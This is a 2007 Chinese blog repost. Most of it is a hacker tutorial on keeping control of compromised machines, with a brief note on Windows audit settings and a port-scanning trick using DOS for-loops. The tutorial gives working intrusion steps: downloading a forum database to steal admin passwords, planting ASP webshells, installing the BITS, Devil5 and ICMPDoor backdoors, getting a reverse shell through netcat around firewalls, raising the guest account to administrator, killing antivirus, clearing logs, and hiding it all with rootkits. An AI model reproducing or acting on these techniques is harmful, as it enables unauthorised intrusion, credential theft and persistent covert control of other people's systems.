注意：必须是管理员组成员或在组策略中被授权有“管理审核和安全日志”权限的用户可以审核文件或文件夹。在WindowsXP审核文件、文件夹之前，你必须启用组策略中“审核策略”的“审核对象访问”。否则，当你设置完文件、文件夹审核时会返回一个错误消息，并且文件、文件夹都没有被审核。

yiye 2007-05-20 14:08 发表评论

dos命令扫描网段的端口

yiye — Sun, 20 May 2007 06:08:00 GMT

不需要任何工具,dos命令扫描一个网段的全部端口!
　　在win2000下开一个dos窗口，然后执行
for /l %a in (1,1,254) do start /min /low telnet 192.168.0.%a 3389
这样192.168.0.x这个段的所有开放3389端口得主机都会暴露
这条命令执行后
会在任务栏开254个小窗口
然后telnet链接失败的窗口会在大约5秒后自动退出
剩下的窗口就是相对应开放端口的主机了
看一下小窗口的标题可以得知主机的ip地址
如果你觉得机器性能很好的话可以把/low参数去了

现在扫描一台主机的多个端口，如下
for /l %a in (1,1,65535) do start /low /min telnet 192.168.0.1%a
这样就扫描192.168.0.1的1到65535端口

现在扫描一个网段的所有端口
for /l %a in (1,1,254) do for /l %b in (1,1,65535) do start /low/min telnet 192.168.0.%a %b
这样就会扫描192.168.0.x段的全部1到65535段口

以上命令只能在win2000下使用，因为/l累加参数是win2000对for的扩展 ,当然winXP和win.NET都可以用，winME我没有试过，因为没有winME的机器

yiye 2007-05-20 14:08 发表评论

让肉鸡难逃五指山---精品后门程序及思路分板

yiye — Sun, 20 May 2007 06:07:00 GMT

什么是后门程序
后门程序又称特洛伊木马，其用途在于潜伏在电脑中，从事搜集信息或便于黑客进入的动作。后程序和电脑病毒最大的差别，在于后门程序不一定有自我复制的动作，也就是后门程序不一定会“感染”其他电脑。
后门是一种登录系统的方法，它不仅绕过系统已有的安全设置，而且还能挫败系统上各种增强的安全设置。
后门是一种登录系统的方法，它不仅绕过系统已有的安全设置，而且还能挫败系统上各种增强的安全设置。
后门包括从简单到奇特，有很多的类型。简单的后门可能只是建立一个新的账号，或者接管一个很少使用的账号；复杂的后门（包括木马）可能会绕过系统的安全认证而对系统有安全存取权。例如一个login程序，你当输入特定的密码时，你就能以管理员的权限来存取系统。
后门能相互关联，而且这个技术被许多黑客所使用。例如，黑客可能使用密码破解一个或多个账号密码，黑客可能会建立一个或多个账号。一个黑客可以存取这个系统，黑客可能使用一些技术或利用系统的某个漏洞来提升权限。黑客可能使用一些技术或利用系统的某个漏洞庭湖来提升权限。黑客可能会对系统的配置文件进行小部分的修改，以降低系统的防卫性能。也可能会安装一个木马程序，使系统打开一个安全漏洞，以利于黑客完全掌握系统。
以上是在网络上常见的对“后门”的解释，其实我们可以用很简单的一句话来概括它：后门就是留在计算机系统中，供某位特殊使用都通过某种特殊方式控制计算机系统的途径！——很显然，掌握好后门技术是每个网络安全爱好者不可或缺的一项基本技能！它能让你牢牢抓住肉鸡，让它永远飞不出你的五指山！
下文将以笔者从事网络安全多年的工作经验为基础，给广大的网络初级安全爱好者讲解一些网络上常用的后门的种类和使用方法以及技巧，希望大家能在最短的时间内学习到最好的技术，提升自己的网络安全技术水平！

后门的分类
后门可以按照很多方式来分类，标准不同自然分类就不同，为了便于大家理解，我们从技术方面来考虑后门程序的分类方法：
1.网页后门
此类后门程序一般都是服务器上正常的web服务来构造自己的连接方式，比如现在非常流行的asp、cgi脚本后门等。
2。线程插入后门
利用系统自身的某个服务或者线程，将后门程序插入到其中，具体原理原来《黑客防线》曾具体讲解过，感兴趣的朋友可以查阅。这也是现在最流行的一个后门技术。
3扩展后门
所谓的“扩展”，是指在功能上有大的提升，比普通的单一功能的后门有很强的使用性，这种后门本身就相当于一个小的安全工具包，能实现非常多的常驻见安全功能，适合新手使用————但是，功能越强，个人觉得反而脱郭后门“隐蔽”的初衷，具体看法就看各位使用都的喜好了。
4.c/s后门
和传统的木马程序类似的控制方法，采用“客记端/服务端”的控制方式，通过某种特定的访问方式来启动后门进而控制服务器。

5.rootkit
这个需要单独说明，其实把它单独列一个类在这里是不太恰当的，但是，rootkit的出现大大改变了后门程序的思维角度和使用理念，可以说一个好的rootkit就是一个完全的系统杀手！后文我们讲涉及到这方面，想念一定不会让大家失望！
上面是按照技术做的分类，除了这些方面，正向连接后门、反向连接后门等分类也是很常见的，其实如何分类是编程者考虑的事，广大的使用者就不用考虑那么多了，我们看重的，只是功能！
入侵法定————精品后门

上面的“废话”想念大家都看累了吧？好，下面我们来看看现在网络中浒的后门究竟长什么模样想学习网络安全并想提高的朋友看清楚了哦，这可是让你的肉鸡逃不出你的五指山的大好途径！

1.网页后门
近段时间网络上针对系统漏洞的攻击事件渐渐少了，因为大家在认识到网络安全的重要性之后，最简单却又最有效的防护办法：升级，都被大家所认同，所以系统漏洞在以后的岁月中存活的周期会越来越短，而从最近的趋势来看，肢本漏洞已经渐渐取代了系统漏洞的地位，非常多的人开始研究起却本漏洞来，sql注入也开始成为各大安全站点首要关注热点，而说到脚本、网页后门当然就是不得不说的重头戏了，现在国内入侵的主流趋势是先利用某种脚本漏洞上传脚本后门，然后浏览服务器内安装和程序，找到提升权限的突破口，进而拿到服务器的系统权限。
现在asp、CGI、PHP这三个脚本大类在网络上的普遍运用带来了脚本后门在这三方面的发展，下面我们一一道来：
海阳顶端ASP木马
这是ASP脚本方面流传非常广的一个脚本后门了，在经过几次大的改革后，推出了“海阳顶端ASP木马XP版”、“海阳顶端ASP木马红粉佳人版”等功能强大、使用方便的后门，想念经常接解脚步本安全的朋友对这些都不会陌生。
类型：网页木马
使用范围：支持ASP、WEB访问
隐蔽程序：★★★★☆
使用难度：★☆☆☆☆
危害程序：★★★☆☆
查杀难度：★★★☆☆
现在的服务器系统配置都相对安全，公开的系统漏洞存在的机会很少，于是脚本方面的漏洞就开始火起来。首先我们通过某种途径获得一个服务器的页面权限（比如利用论坛上传达室类型未严格设置、SQL注入后获得ASP系统的上传权限、对已知物理路径的服务器上传特定程序），然后我们可以通过简单的上传ASP程序或者是直接复制海阳项端的代码，然后通过WEB访问这个程序，就能很方便地查阅服务器上的资料了，下面举个简单的便子（由于只是简单的介绍，下文便子不会太难或者太普遍，希望大家理解）。
运用举便
leadbbs2.77曾经风靡网络，它是个很典型的ASP论坛，屏蔽了很多可以SQL注入的寺方，但是很多傻瓜级别的网络管理员总是喜欢默认安装，然后启用论坛，我们只需要很简单地在IE中输入：WWW。***。COM/BBS/DATA/LEADBBS。MDB就能够直接下载该论坛的数据库了，而且没有MD5加密哦！，我们直接找到管理员的账户和密码，然后登录论坛，到管理界面将论坛的“联系我们”、“帮助”等ASP文件替换成我们的海阳项端代码，然后执行GUEST权限的CMD命令，方便的上传/下载将定程序、远程执行程序等，这样一个隐藏的后门就建好了！取得服务器的SYSTEM权限就看大家自己的办法了。
一般来讲，海洋的功能是非常强大的，而且不容易被查杀（一个朋友采取的方式是：先利用某个脚本漏洞上传网页后门，再通过海洋上传另一个后门到隐蔽的路径，然后通过最后上传的后门来删除第一次上传的海洋，这样后门的存放路径就可以放得非常深了，普通管理员是很难发现的），如果管理员觉得自己可能中了这里边样的后门，可以利用论坛备份来恢复自己的页面系统，再配合系统日志、论坛日志等程序检查系统，发现可疑ASP文件打开看看海洋是很好识别的，再删除就可以了。
脚本方面的后门还有CGI和PHP两面三刀大类，使用原理都差不多，这里就不再多介绍，在黑防论坛也收录了这三种后门，大家可以下载后自己研究。

2.线程插入后门
首先我们来简单解释一下什么是典型的"线程插入"后门:这种后门在运行时没有进程,所有网络操作均播入到其他应用程序的进程中完成。也就是说，即使受控制端安装的防火墙拥有“应用程序访问权限”的功能，也不能对这样的后门进行有效的警告和拦截，也就使对方的防火墙形同虚设了！这种后门是现在非常主流的一种，很让防护的人头疼，因为对它的查杀比较困难，这种后门本身的功能比较强大，是“居中家旅行、入侵攻击”的必备品哦！
这类的典范就是国内提倡网络共享的小榕的BITS了，从它的推出以来，各类安全工具下载园地里BITS就高居榜首，非常多的朋友使用它的过程中感到了方便。

BITS
类型：系统后门
使用范围：wind200/xp/2003
隐蔽程序：★★★★☆
使用难度：★★★☆☆
危害程序：★★★★☆
查杀难度：★★★★☆

BITS 其实是BackgroundIntelligentTransferServicer的缩写，可以在不知不觉中实现另一种意义的典型的线程插入后门，有以下特点：进程管理器中看不到；平时没有端口，只是在系统中充当卧底的角色；提供正向连接和反向连接两种功能；仅适合用于windows200/xp/2003。
运用举例
首先我们用3389登录上肉鸡，确定你有SYSTEM的权限，将BITS.DLL拷贝到服务器上，执行CMD命令：
rundll32.exebits.dll,install
这样就激活了BIST，程序用这个特征的字符来辨认使用者，也就相当于你的密码了，然后卸载：rundll32.exeBITS.dll,Uninstall
这是最简单的使用，这个后门除了隐蔽性好外，还有两大特点是非常值得借鉴的：端口复用和正反向连接。虽然很多朋友经常听到这两个名词，但并不了解它们，端口复用就是利用系统正常的TCP端口通讯和控制，比如80、139等，这样的后门有个非常大的好处就是非常隐蔽，不用自己开端口也不会暴露自己的访问，因为通讯本身就是系统的正常访问！另一个是反向连接，这个很常见，也是后门中一个经典思路，因为从服务器上主动方问外边是不被禁止的，很多很历害的防火墙就怕这点！
BITS的正向连接很简单，大家可以参考它的README，这种方式在服务器没有防火墙等措施的时候很管用，可以方便地连接，但是遇到有防火墙这样的方式就不灵了，得使用下面的反向连接方式：
在本地使用NC监听（如：nc-l-p1234）
用NC连接目标主机的任何一个防火墙允许的TCP端口（80/139/445……）
输入激活命令：hkfx@dancewithdolphin[rxell]:1.1.1.1:2222
目标主机的CMD将会出现NC监听的端口2222，这样就实现了绕过防火墙的功能了。
devil5(魔鬼5号）
类型：系统后门
使用范围：win200/xp/2003
隐蔽程度：★★★★☆
使用难度：★★☆☆☆
危害程序：★★★★☆
查杀难度：★★★☆☆
同BITS一样，Devil5也是线程插入式的后门，和BITS不同的是它可以很方便的在GUI界面下按照自己的使用习惯定制端口和需要插入的线程，适合对系统有一定了解的使用都使用，由于是自定义插入线程，所以它更难被查杀，下面我们来看看它的使用。
运用举例：
道德使用它自带的配置程序EDITDEVIL5.EXE对后门进行常规的配置,包括控制端口、插入线程、连接密码、时间间隔等方面关键点是对插入线程的定制，一般设置成系统自带的SVCHOST，然后运行后门就可以控制了。
我们用TELNET连接上去，连接的格式是：TELNET***定制的端口，它和其他后门不同之处在于连接后没有提示的界面，每次执行程序也是分开的，必须要每次都有输入密码，比如我们丢掉了服务器和管账户，可以激活GUEST后再将GUEST加到管理员权限，记得每次执行命令后加上 “>密码”就可以了：netlocalgroupadministratorsguest/add>hkfx，然后你又可以控制服务器了。
很明显示，同榕哥的BITS相比，DEVIL5有一些缺陷：不能通过系统自带端口通讯、执行命令比较麻烦，需要每次输入密码而且不回显示输入内容，很容易出错。但是，它有自己的优势：插入线程可以自已定制，比如设置IE的线程为插入的目标就比较难被查杀：自己提供了专门的查杀工具 DELDEVIL5.exe，帮助防护者清理系统；而且它可以任意改名和绑定，使用灵活性上比BITS强……大家选择哪能款就看自己的喜好了。
另外，PortLessBackDoor等工具也是此类的后门，功能强大，隐蔽性稍差，大家有兴趣可以自己研究一下。
3.扩展后门
所谓的扩展后门，在普通意义上理解，可以看成是将非常多的功能集成到了后门里，让后门本身就可以实现很多功能，方便直接控制肉鸡或者服务器，这类的后门非常受初学者的喜爱，通常集成了文件上传/下载、系统用户检测、HTTP访问、终端安装、端口开放、启动/停止服务等功能，本身就是个小的工具包，功能强大。
Wineggdroupshell
类型：系统后门
使用范围：win2000/xp/2003
隐蔽程度：★★★★☆
使用难度：★★☆☆☆
危害程度：★★★★☆
查杀难度：★★★★☆
这个后门是扩展后门中很有代表性的一个，功能这全面让人叹为观止，它能实现如下比较有特色的功能：进程管理，可查看，杀进程（支持用进程名或PID来杀进程）；注册表管现（查看，删除，增加等功能）；服务管理（停止，启动，枚举，配置，删除服务等功能）端口到程序关联功能（fport）；系统重启，关电源，注销等功能（reboot,poweroff,shutdown,logoff）；嗅探密码功能；安装终端，修改终端端口功能；端口重定向功能（多线程，并且可限制连接者IP）；HTTP服务功能（多线程，并且可限制连接者IP）；Socd5代理功能（支持两种不同方式验证，可限制连接者IP）；克隆账号，检测克隆账户功能（clone,checkclone）；加强了的Findpassword功能（可以得到所有登录用户，包括使用克隆账户远程登录用户密码）；HTTP代理（完全匿名，支持oicq、msn、mirc等程序）；其他辅助功能，http下载，删除日志，系统信息，恢复常用关联，枚举系统账户等。
当网络上刚推出这个后门的时候，非常多的人用它来替换自己原来使用的后门，一时间各处赞扬之声迭起，但多为一些普通的打捞手的心声，其实它和“后门”的原始定义是有出入的：一旦你需要实现越多的功能，那你的程序在执行、隐藏、稳定等方面就需要考虑非常多的问题，一个疏忽就会导致全盘皆败，所以不建议将此后门用在需要非常隐蔽的地方。
运用举例
在安装后门前，需要使用它自带的EditServer.exe程序对服务端进行非常详细的配置，从10个具体配置中，包括了插入线程、密码、IP登录邮件通告等方面，不难看出它的功能是非常强大的，隐蔽性也很强，下面说几个在入侵中常用的功能，相信经常玩入侵的朋友一定能发现它的强大之处：
Fport:列出进程到端口的列表，用于发现系统中运行程序所对应的端口，可以用来检测常见的隐蔽的后门。
Reboot:重启系统，如果你上传并运行了其他后门程序，并需要重启机器以便让后门正常工作，那使用这个命令吧！
Shell:得到一个DosShell,这个不多讲了，直接得到服务器或者肉鸡上的cmdshell。
PskillPID或程序名：用于杀掉特定的服务，比如杀毒软件或者是防火墙。
Execute程序：在后台中执行程序，比如sniffer等。http://ip/文件名保存文件名：下载程序，直接从网上down一个后门到服务器上。
Installterm端口：在没有安装终端服务的win2k服务版的系统中安装终端服务，重启系统后才生效，并可以自定义连接端口，比如不用3389而用其他端口。
StopService/StartService:停止或者启动某个系统服务，比如telnet。
CleanEvent:删除系统日志。
Redirect:TCP数据转发，这个功能是后门程序中非常出色的一个功能，可以通过某一端口的数据转发来控制内网的机器，在渗透入侵的时候非常管用！
EnumService:列举所有自动启动的服务的资料，比如后门、木马。
RegEdit:进入注册表操作模式，熟悉注册表的使用者终于在后门中找到了福音！
Findpassword:得到所有登录用户密码，比我们常用的findpass功能可强多了。
……
总体来讲，Wineggdropshell是后门程序中很出彩的一个，它经过作者几次大规模的修改和升级，已经趋于稳定，功能的强大当然没得说，但是由于功能太强大，被查杀和怀疑是难以避免的，所以很多人在使用Wineggdropshell一段时间后就发现肉鸡飞了，其实是很正常的事，我你出不用气馁，其实用很简单的方法就可以很好地提高它的隐蔽性，下文将有说明。
相对于Wineggdropshell来说，独孤剑客的winshell在功能上就不那么全面了，但是笔者推荐新手更多的使用 winshell而不是Wineggdropshell，因为winshell功能除了获得一个shell以外，只加入了一些重启、关闭服务器的命令，功能相对简单，但完全使用系统自带的cmd来执行命令，对系统学习和掌握也是非常有帮助的！
Winshell和wolf这两者都是国内早期顶尖的后门程序，程序的编制无疑是非常经典的，新手学习时使用这两款后门一定能让你明白很多系统相关东西，了解很多入侵思路和方法。

C/S后门
传统的木马程序常常使用C/S构架，这样的构架很方便控制，也在一定程度上避免了“万能密码”的情况出现，对后门私有化有一定的贡献，这方面分类比较模糊，很多后门可以归结到此类中，比如较巧妙的就是ICMPDoor了
ICMPDoor
类型：系统后门
使用范围：win2000/xp/2003
隐蔽程度：★★★★★
使用难度：★★★☆☆
危害程度：★★★★☆
查杀难度：★★★★★
这个后门利用ICMP通道进行通信，所以不开任何端口，只是利用系统本身的ICMP包进行控制安装成系统服务后，开机自动运行，可以穿透很多防火墙——很明显可以看出它的最大特点：不开任何端口~只通过ICMP控制！和上面任何一款后门程序相比，它的控制方式是很特殊的，连80端口都不用开放，不得不佩服务程序编制都在这方面独特的思维角度和眼光！
运用举例
这个后门其实用途最广的地方在于突破网关后对内网计算机的控制，因为很多机密数据都是放在内网计算机上的，而控制内网计算机并不是我们想到位的商业网络进行入侵检测，它的网络内部并不像我们常见的内网那样非常容易入侵和控制，因为该公司本身涉及到一些网络安全的服务，所以内网个人计算机的防护是很到位的，在尝试过很多后门后，最后ICMPDoor帮我实现了成功的渗透内网！由此笔者开始爱上这个后门。
首先使用icmpsrv.exe-install参数进行后门的安装，再使用icmpsend.exeIP进行控制，可以用：[http: //xxx.xxx.xxx/admin.exep;-hkfx.exe]方式下载文件，保存在//system32/目录下，文件名为 hkfx.exe，程序名前的“-”不能省去，使用[pslist]还可以列出远程主机的进程名称和pid，再使用[pskillid]就可以杀进程了，同样，输入普通cmd命令，则远程主机也就执行了相关的命令。
这个后门是采用的c/s构架，必须要使用icmpsend才能激活服务器，但是他也有自己的先天不足：后门依靠ICMP进行通讯，现在的网络，经过冲击波的洗礼后，很少有服务器还接受ICMP包了，很多都屏蔽掉了它，所以用它来控制服务器不是一个好办法，这也是我为什么用它来控制内网计算机的原因了——内网很少有人屏蔽ICMP包吧？！
5.rootkit
如果说上面的后门程序都各有千秋、各有所长的话，它们和经典的rootkit一比简直就是小巫见大巫了，那究竟什么样是rootkit呢？
rootkit出现于20世纪90年代初，在1994年2月的一篇安全咨询报告中首先使用了rootkit这个名词。从出现至今，rootkit的技术发展非常迅速，应用越来越广泛，检测难度也越来越大。其中钍对SunOS和Linux两种操作系统的rootkit最多。
很多人有一个误解，他们认为rootkit是用作获得系统root访问权限的工具。实际上，rootkit是攻击都用来隐蔽自己的踪迹和保留root访问权限的工具。通常，攻击者通过远程攻击获得root访问权限，进入系统后，攻击者会在侵入的主机中安装rootkit，然后他将经常通过rootkit的后门检查系统是否有其他的用户登录，如果只有自己，攻击者就开始着手清理日志中的有关信息。通过rootkit的嗅探器获得其他系统的用户和密码之后，攻击者就会利用这些信息侵入其他系统。
从*nix系统上迁移到windows系统下的rootkit完全沿袭了这些“可怕”的功能！现在网络上常见的rootkit是内核级后门软件，用户可以通过它隐藏文件、进程、系统服、系统驱动、注册表键和键值、打开的端口以及虚构可用磁盘窨。程序同时也在内存中伪装它所做的改动，并且隐身地控制被隐藏进程。程序安装隐藏后门，注册隐藏系统服务并且安装系统驱动。该后门技术允许植入redirector，是非常难以查杀的一个东东，让很多网络管员非常头疼！
hackerdefender
类型：系统后门
使用范围：win200/xp/2003
隐蔽程度：★★★★★
使用难度：★★★★★
危害程度：★★★★★
查杀难度：★★★★★（呵呵，全部五星，因为它太“霸道”了）
现在最新版本的hxdf是1.0.0，它是从国外传过来的一个程序，包含两个关键程序，里面的配置文件ini非常复杂，相信新手使用也是很困难的主要包括：[HiddenTable]，[RootProcesses]， [HiddenServices]，[HiddenRegKeys]，[HiddenRegvalues]，[StartupRun]， [FreeSpace],[HiddenpORTS]，[Settings]。对功能就是隐藏文件（目录）、隐藏进程、隐蔽服务、隐藏注册键、隐藏注册表键值、启动程序、增加磁盘剩余空间、隐藏端口、后门设置，具体配置我们就不具体讲解了，本期文章有详细的介绍，我们说说它的特点（纯粹个人观点和经验偏激的地方请大家海涵）：
（1）可以实现正常系统TCP端口的通讯，比如80等，这个功能在高级后门并不鲜见。
（2）能得到简单的系统SHELL，对入侵的老手来说这就够了，多余的功能反而是累赘。
（3）隐藏端口，如果你非要使用TCP的某一个非常规端口通讯，那使用这个功能吧，放心，别人发现不了。
（4）隐藏后门的所有可找到东西！这个只能用一个字来形容：牛！比如隐藏文件、服务、注册表键等功能，虽然我们说起来是一句话，想念识货的朋友应该能发现这中间NB的地方！
（5）史上最经典后门思维：配合其他扩展型后门使用，效果好得出乎你的意料！（这是后面的内容，我们马上讲到）。
抛开其他不讲，系统中安装了这样的rootkit，你通过普通的查杀途径根本检测不到这个程序这点就非常值得我们利用了！试想：一个在你服务器上运行的后门，你连看都看不到它，别说查杀了！
注：由于此后门危害太大，所以编辑特别在此掐掉作者一段篇幅，喜欢研究后门程序的朋友可以自己去研究，不过千万注意不要误运行了程序，查杀和清除是非常麻烦的事！直接重新安装系统吧！
经典后门思维
现在很多朋友都在尝试着开发一些自己的后门程序，他们企图将非常多的功能加入到后门里恨不得一个后门就是一个操作系统！————很明显，这样是不对的！因为一个好的后门能实现非常单一的功能就够了，它不是给你控制服务器的，而是给你在丢掉服务器控制方法的时候用来再次控制服务器的！所以，不要经常使用后门程序，当然也不要让你的后门程序太在。
所有网络安全工具都存在一个问题：隐藏！现在随着广大网友安全意识的提高，杀毒软件、系统安全保护程序这些东西再不是“珍品”了，所以，就算你的后门程序能实现两万个功能，但是很容易就被杀毒软件查杀的话，那也是白搭！换句话说：如果别人能很方便地看看进程、查查注册表、看看端口就能查出系统有问题的话，你这个后门也就算不上好了！所以记住：隐藏才是最重要的！
很多朋友都喜欢使用某个功能很强大的后门程序来控制服务器，虽然很隐蔽，但一旦被杀，那他就只有望着服务哭了，其实只要我们稍微入宽思路就能解决这样问题：嵌套使用互补的后门程序！这样一旦一个后门暴露，另一个后门或者几个后门依然在服务器——这点说起来很简单，里面涉及到很多入侵中的经验和方法，也涉入到rootkit，后文我们会讲到。
对现在的网络来说，如果一个网络安全工具被公布，那么，在很短的时间内这个程序将被安全爱好者传到网络的任何一个地主！很明显，这样程序的存活期很短，不出几天就被查杀了，所以本文列举的所有程序都可以在网络上找到（光盘上也有收录），只是给大家提供一种比较好的思路和介绍，很多的后门是私人使用的。希望大家通过自己的学习也能写出自己的优秀后门！
通过上面的讲解，相信大家对现在主流的后门程序都有了一事实上程度的了解，由于篇幅关系，本文不可以一个接一个实际的去讲解用法和查杀，相信那样读者也读着无聊，编辑审稿后也不能刊登了，具体的使用方法还得靠各位去摸索，下面我们说说经典后门的几个个人体会。
首先拍拍wtf的马屁：这小子上次在黑防攻防实验室上说的那句话：“兄弟们千万不要拘泥于思维的定式，要知道安全最重要的就是思维的锻炼和意识的培养，为了锻炼大家的思维能力，友情提醒一下大家，我们在关卡中有很多的陷阱哦！千万不要被表面的现象迷惑了！”不要小看了这句话，把这句话放到网络入分和攻击中，很多思维被发散出来，那是整体层次的提高！就拿我们的后门这方面来讲，同样是上面几个功能强大的、隐蔽性好的后门，为什么你装在肉鸡上，不出三天就被查杀了？而别人装一就一直用得好好的呢？这其中其实就是思维转换的重要性的体现，下面我们将具体说说后门程序如何才能做的好的思维转换和特点利用，先来看看普通网友的误区：
（1）普通安全爱好者都能通过常见的系统漏洞或者其他途径入侵服务器，然后上去就是新建一个账户，直接添加到管理员权限，有点意识的还能在账户后面加一个$让别人在CMD无法发现，然后再通过什么3389、23控制服务器，汗！这就是你看《黑客防线》的成绩？《黑客防线》就这样教你？难道所有管理员都是白痴？都不知道检查系统最重要的账户？这样的肉鸡1天之内不丢都是个奇迹！
（2）控制服务器->上传后门_>开放特定端口->利用后门控制服务器，这中间通过findpass之类的经典工具得到管理员的密码，给服务器开放3389等服务……同样送给这样的朋友一个字：晕！一个简单得不能再简单的netstat-an就能让你的连接暴露无疑！那时候等着上法庭吧！
（3）克隆系统内置账户并使用它来登录服务器，这同样是一个不可取的方法，根据我的经验，这样的肉鸡肯定用不长！一两面三刀周就飞掉了！
…………
上面只是一些比较低端的错误，相信大家在看了此文后不会现再犯这样的错误，下面我们说说觉的比较安全的入侵后控制肉鸡的办法，如果我今天讲的东西能有两、三句能让你在以后的入侵和安全防护中记住，那我倍感欣慰了！
普通的入侵过程中，3389当然是大家最喜欢的控制方式，那为什么就只用3389来单纯控制服务吕呢？当别人关掉3389后你怎么控制呢？所以需要后门，那安装上普通的经典后门，为什么我的肉鸡还是在很短的时间内飞掉呢？——请注意：任何一个系统管理员都不是白痴！不管你多“黑”，你远程控制服务器总没有别人物理接触来得方便吧！逼不得已人家拔掉网线、格式化硬盘总能让你不能控制了吧？！所以，后门的隐蔽性是非常重要的，要让管理员无法发现系统中有后门就是非常重要的了！
一个好的后门，能实现单一的功能就行了，一定不要经常使用你的后门程序来控制肉鸡，这样你想肉鸡不飞都困难，比较好的方法是：
3389/23+扩展型后门+rootkit
这是到目前为止最经典的一种后门搭配方式，它几方面的优点显示而易见：对方发现不明ip连接的时候肯定会检查系统问题，改system密码，清理账户是不可避免了，进而管理员对系统的漏洞进行一次常规升级和检测，补上最开始被入我们入侵的漏洞，这样如果没有后门，再进来就很难了。
通常这样情况下管理员会考虑系统中是不是存在后门，使用常见的杀毒软件，安全程序来检测系统，发现后门立即查杀，所以在这里后门的隐蔽性非常重要，一时被杀，gameover！所以这里定要选择一些比较难查杀或者是加过壳的后门，上面介绍的后门就是不错的选择，线程插入式是比较难被杀掉的。
在这样基础上，如果他发现系统中某个程序总是在对网络连接，或者是某个端口总是有人连接在上面，管理员肯定会想办法kill掉这个程序，所以普通后门再隐藏得好也是会被查杀的，这也是大多数朋友的疑惑了，在这里就需要使用rootkit了！
如果从系统级隐藏掉服务名、进、端口、注册表值、启动项目、程序名，那现在想信普通的杀毒程序、安全工具要查出系统中的后门程序是很难的！而这点，才是后门程序的精华所在：隐藏！这样的功能，绝对不是某个后门程序单一使用能实现！而rootkit和上面介绍的一系列后门中的精品就是你最好的选择！多尝试，想念你一定找到这个经典搭配中的优势的！退一万步讲，如果这样控制的肉鸡飞掉了，奉劝大家还是少玩为妙，免得惹火上身哦！

yiye 2007-05-20 14:07 发表评论